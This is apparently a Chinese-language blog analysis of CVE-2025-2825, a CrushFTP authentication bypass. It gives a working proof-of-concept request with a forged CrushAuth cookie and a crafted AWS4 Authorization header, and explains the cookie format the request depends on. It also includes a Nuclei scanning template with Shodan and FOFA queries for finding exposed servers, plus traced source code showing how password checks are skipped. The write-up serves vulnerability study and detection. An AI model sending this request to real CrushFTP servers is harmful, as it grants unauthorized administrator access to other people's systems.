CVE-2025-2825 | 分析 CrushFTP 绕过身份验证
1. 漏洞介绍
企业文件传输解决方案是许多组织的关键基础设施,可促进系统和用户之间的安全数据交换。CrushFTP 是一种广泛使用的多协议文件传输服务器,提供广泛的功能集,包括与 Amazon S3 兼容的 API 访问。但是,在版本 10.0.0 到 10.8.3 和 11.0.0 到 11.3.0 中发现了一个严重漏洞 (CVE-2025-2825),该漏洞允许未经身份验证的攻击者绕过身份验证并获得未经授权的访问。
CrushFTP 支持多种协议,包括 FTP、SFTP、WebDAV 和 HTTP/S,使其成为一种多功能的文件传输解决方案。从版本 10 开始,它还实施了与 S3 兼容的 API 访问,允许客户端使用与 Amazon S3 存储服务相同的 API 格式与之交互。
CrushFTP 的 Ubuntu 下环境搭建过程可以参考:CVE-2025-32102 | Ubuntu 下复现 CrushFTP telnetSocket接口SSRF
2. Amazon S3身份验证
S3 身份验证通常使用请求签名机制,其中客户端包含格式类似于以下内容的标头:Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>
在 AWS S3 的身份验证机制中,Authorization 请求头用于对请求进行签名验证。该头信息遵循固定的格式,包括以下组成部分:
- 算法声明:
AWS4-HMAC-SHA256,指示使用 AWS 签名版本 4(SigV4)和 HMAC-SHA256 算法。 - 凭证信息(Credential):包含访问密钥 ID 和凭证范围,格式为:
<AccessKeyID>/<Date>/<Region>/<Service>/aws4_request。 - 签名的头信息(SignedHeaders):用于计算签名的请求头的分号分隔列表,所有头名称均为小写并按字母顺序排列。
- 签名(Signature):根据上述信息计算得到的签名值。
例如,完整的 Authorization 头可能如下所示:Authorization: AWS4-HMAC-SHA256 Credential=AKIAIOSFODNN7EXAMPLE/20250331/us-east-1/s3/aws4_request, SignedHeaders=host;x-amz-date, Signature=fe5f80f77d5fa3beca038a248ff027d0445342fe2855ddc963176630326f1024
需要注意的是,Authorization 头的格式是固定的,必须严格遵循 AWS 的签名版本 4(SigV4)规范。任何偏离标准格式的实现都可能导致认证失败或引发安全问题。
服务器从字段中提取值以识别用户,然后验证以确保请求真实。CrushFTP 的此机制实现包含一个关键缺陷,我们将详细研究该缺陷。AccessKey,Credential,Signature。
3. POC
GET /WebInterface/function/?command=getUserList&c2f=1111 HTTP/1.1
Host: target-server:8081
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
分解此漏洞:
- 我们使用的是最简单的 Authorization 标头:
AWS4-HMAC-SHA256 Credential=crushadmin/ - 用户名 “crushadmin” 没有波浪号 (~),因此默认为lookup_user_passtrue,这会导致参数 anyPasstrue 的值为 true ,完全绕过密码验证。
- CrushAuth Cookie 不需要有效,它只需要是特定格式的 44 个字符:
- 前 13 个字符为数字:例如,
1743113839553 - 下划线 :
_ - 30 个字符的字符串:例如,
vD96EZ70ONL6xAd1DAJhXMZYMn1111,此字符串的最后 4 个字符 (1111) 必须与 c2f 参数值匹配。 - 只要遵循此格式,此 cookie 就可以是完全随机的
- 前 13 个字符为数字:例如,
Nuclei模板:
id: CVE-2025-2825
info:
name: CrushFTP Authentication Bypass
author: parthmalhotra,Ice3man,DhiyaneshDk,pdresearch
severity: critical
description: |
CrushFTP versions 10.0.0 through 10.8.3 and 11.0.0 through 11.3.0 are affected by a vulnerability that may result in unauthenticated access. Remote and unauthenticated HTTP requests to CrushFTP may allow attackers to gain unauthorized access.
reference:
- https://projectdiscovery.io/blog/crushftp-authentication-bypass/
- https://www.crushftp.com/crush11wiki/Wiki.jsp?page=Update
- https://www.rapid7.com/blog/post/2025/03/25/etr-notable-vulnerabilities-in-next-js-cve-2025-29927/
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2025-2825
cwe-id: CWE-287
epss-score: 0.00039
epss-percentile: 0.08378
metadata:
max-request: 2
vendor: crushftp
product: crushftp
shodan-query:
- http.title:"CrushFTP WebInterface"
- http.favicon.hash:-1022206565
- http.html:"crushftp"
fofa-query:
- icon_hash="-1022206565"
- title="CrushFTP WebInterface"
- body="crushftp"
tags: cve,cve2025,crushftp,unauth,auth-bypass,rce
variables:
string_1: "{{rand_text_numeric(13)}}"
string_2: "{{rand_text_alpha(28)}}"
string_3: "{{rand_text_numeric(4)}}"
http:
- raw:
- |
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
Host: {{Hostname}}
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Origin: {{RootURL}}
Referer: {{RootURL}}/WebInterface/login.html
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
- |
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f={{string_3}} HTTP/1.1
Cookie: CrushAuth={{string_1}}_{{string_2}}{{string_3}}; currentAuth={{string_3}}
Host: {{Hostname}}
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
Origin: {{RootURL}}
Referer: {{RootURL}}/WebInterface/login.html
X-Requested-With: XMLHttpRequest
Accept-Encoding: gzip
stop-at-first-match: true
matchers-condition: and
matchers:
- type: word
part: body
words:
- "<user_list_subitem>crushadmin</user_list_subitem>"
- type: word
part: content_type
words:
- "text/xml"
- type: status
status:
- 200
4. 代码分析
问题是 lookup_user_pass 标志具有双重用途:
- 最初,这个标志用来指示系统是应该从存储中查找用户的密码,还是使用提供的密码。
- 但是,这个标志作为参数直接传递给
login_user_pass(),可能会产生漏洞。
标头解析和用户名的提取:Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
ServerSessionHTTP.java,loginCheckHeaderAuth() 的关键代码:
// Check if header exists and starts with "AWS4-HMAC"
if (this.headerLookup.containsKey("Authorization".toUpperCase()) &&
this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) {
// Extract username through string operations
String s3_username = this.headerLookup.getProperty("Authorization".toUpperCase()).trim();
// s3_username = "AWS4-HMAC-SHA256 Credential=crushadmin/"
String s3_username2 = s3_username.substring(s3_username.indexOf("=") + 1);
// s3_username2 = "crushadmin/"
String s3_username3 = s3_username2.substring(0, s3_username2.indexOf("/"));
// s3_username3 = "crushadmin"
String user_name = s3_username3;
boolean lookup_user_pass = true; // Default to true
// Only change lookup_user_pass if username contains tilde
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
// In version 11.3.0, there's no security check here
// Attempt to authenticate the user
if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) {
// Authentication succeeds
}
}
这段代码的逻辑是从 HTTP 请求头的 Authorization 中提取 AWS4-HMAC 认证的用户名,并决定是否查找密码,逐步分析:
- 第一个 if 语句检查 Authorization 头部:
- 通过
containsKey("AUTHORIZATION")检查头部是否存在 Authorization。 - 再通过
startsWith("AWS4-HMAC")确保是 AWS 认证。
- 通过
- 提取用户名
- s3_username:是 Authorization 头的值。
- s3_username2:通过
substring(s3_username.indexOf("=") + 1)提取"Credential=" 之后的内容。 - s3_username3:通过
substring(0, indexOf("/"))提取 / 之前的部分,也就是真正的用户名。
- 处理
~分隔的密码:- 先将 lookup_user_pass 这个标志设置为 true。
- 针对提取的 s3_username3 ,如果其中包含 ~ ,则把 ~ 前面的部分当作真正的用户名, ~ 后面的部分当作这个用户的密码。
- 再将 lookup_user_pass 这个标志设置为 false:这个标志为false 时,不查找密码,为true时,查找密码。
- 用户认证:
lookup_user_pass ? "" : user_pass:如果lookup_user_pass = true,那么user_pass为空"",可能只查找用户而不验证密码(存在安全隐患),如果lookup_user_pass = false,则直接使用user_pass进行认证。
上面的标头可以有效的工作,原因如下:
-
它只需以“AWS4-HMAC”开头即可作为 S3 身份验证处理。
-
它只需要 “Credential=username/” 格式来提取用户名,代码解析后的变量如下:
user_name = "admin"; lookup_user_pass = true; user_pass = ""; // 空密码 -
可以绕过签名认证。
-
不需要额外的 S3 参数:因为代码仅仅提取了用户名部分。
为了充分了解这个漏洞,通过多个方法用来跟踪身份验证流程,跟踪 lookup_user_pass 这个标志最终是如何导致身份验证绕过的:
-
第1步:loginCheckHeaderAuth() 方法
-
身份验证过程从这个方法开始,当收到带有 S3 授权标头的HTTP请求时,将触发该方法
// Inside loginCheckHeaderAuth() in ServerSessionHTTP.java if (this.headerLookup.containsKey("Authorization".toUpperCase()) && this.headerLookup.getProperty("Authorization".toUpperCase()).trim().startsWith("AWS4-HMAC")) { // ... // Here, lookup_user_pass gets set to true by default boolean lookup_user_pass = true; // It only changes to false if the username contains a tilde if (s3_username3.indexOf("~") >= 0) { user_pass = user_name.substring(user_name.indexOf("~") + 1); user_name = user_name.substring(0, user_name.indexOf("~")); lookup_user_pass = false; } // The lookup_user_pass flag is then passed directly as the first parameter if (this.thisSession.login_user_pass(lookup_user_pass, false, user_name, lookup_user_pass ? "" : user_pass)) { // Authentication succeeds } }
-
-
第2步:login_user_pass() 方法
-
将 anypass 作为这个方法的第一个参数
// Inside SessionCrush.java public boolean login_user_pass(boolean anyPass, boolean doAfterLogin, String user_name, String user_pass) throws Exception { // Various validations and logging happen here if (user_name.length() <= 2000) { int length = user_pass.length(); ServerStatus serverStatus = ServerStatus.thisObj; if (length <= ServerStatus.IG("max_password_length") || user_name.startsWith("SSO_OIDC_") /* other conditions */) { Log.log("LOGIN", 3, new Exception(String.valueOf(LOC.G("INFO:Logging in with user:")) + user_name)); uiPUT("last_logged_command", "USER"); // Numerous other checks and validations // Eventually we call verify_user with the anyPass parameter boolean verified = verify_user(user_name, verify_password, anyPass, doAfterLogin); if (verified && this.user != null) { // Authentication success handling return true; } } } return false; }
-
-
第3步:SessionCrush 中的 verify_user() 方法
-
anypass 这个参数进一步向下传递给实际的用户验证函数:
// Inside SessionCrush.java public boolean verify_user(String theUser, String thePass, boolean anyPass, boolean doAfterLogin) { // Various user validation and formatting logic // The anyPass value is passed to the UserTools.ut.verify_user method this.user = UserTools.ut.verify_user(ServerStatus.thisObj, theUser2, thePass, uiSG("listen_ip_port"), this, uiIG("user_number"), uiSG("user_ip"), uiIG("user_port"), this.server_item, loginReason, anyPass); // The critical check: if anyPass is true, we don't consider a null user to be an authentication failure if (!anyPass && this.user == null && !theUser2.toLowerCase().equals("anonymous")) { this.user_info.put("plugin_user_auth_info", "Password incorrect."); } // Various other checks and return logic return this.user != null; }
-
-
第4步:UserTools.ut.verify_user() 方法
-
anypass 参数用来确定是否需要密码验证:
// Inside UserTools.java public Properties verify_user( ServerStatus server_status_frame, String the_user, String the_password, String serverGroup, SessionCrush thisSession, int user_number, String user_ip, int user_port, Properties server_item, Properties loginReason, boolean anyPass ) { // User lookup and validation logic Properties user = this.getUser(serverGroup, the_user, true); // Here's the critical vulnerability: // If anyPass is true, password verification is skipped entirely if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) { return user; // Authentication succeeds without any password check } // Otherwise normal password verification occurs if (user.getProperty("username").equalsIgnoreCase(the_user) && check_pass_variants(user.getProperty("password"), the_password, user.getProperty("salt", ""))) { return user; } // Authentication fails return null; }
-
这条链中,最关键的部分在,默认情况下,用户名中没有 ~ 的 S3 授权标头,通过以下简单条件完全绕过密码验证:
if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // Authentication succeeds without any password check
}
参考:https://projectdiscovery.io/blog/crushftp-authentication-bypass
更多推荐

所有评论(0)